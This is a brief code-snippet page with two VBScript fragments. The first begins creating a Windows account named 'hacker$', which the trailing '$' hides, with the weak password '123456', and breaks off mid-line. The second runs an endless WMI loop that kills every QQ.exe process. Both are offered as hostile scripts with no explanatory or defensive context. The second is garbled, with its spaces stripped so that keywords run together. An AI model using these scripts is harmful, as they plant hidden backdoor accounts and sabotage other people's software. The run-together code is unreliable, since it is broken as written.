复制代码 代码如下: on error resume next dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments (0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set wsnetwork=CreateObject..
dimbag,pipe,honker,good do good="." setbag=getobject("winmgmts:\\"&good&"\root\cimv2") setpipe=bag.execquery("select*fromwin32_processwherename='QQ.exe'") foreachiinpipe i.terminate() next wscript.sleep1 loop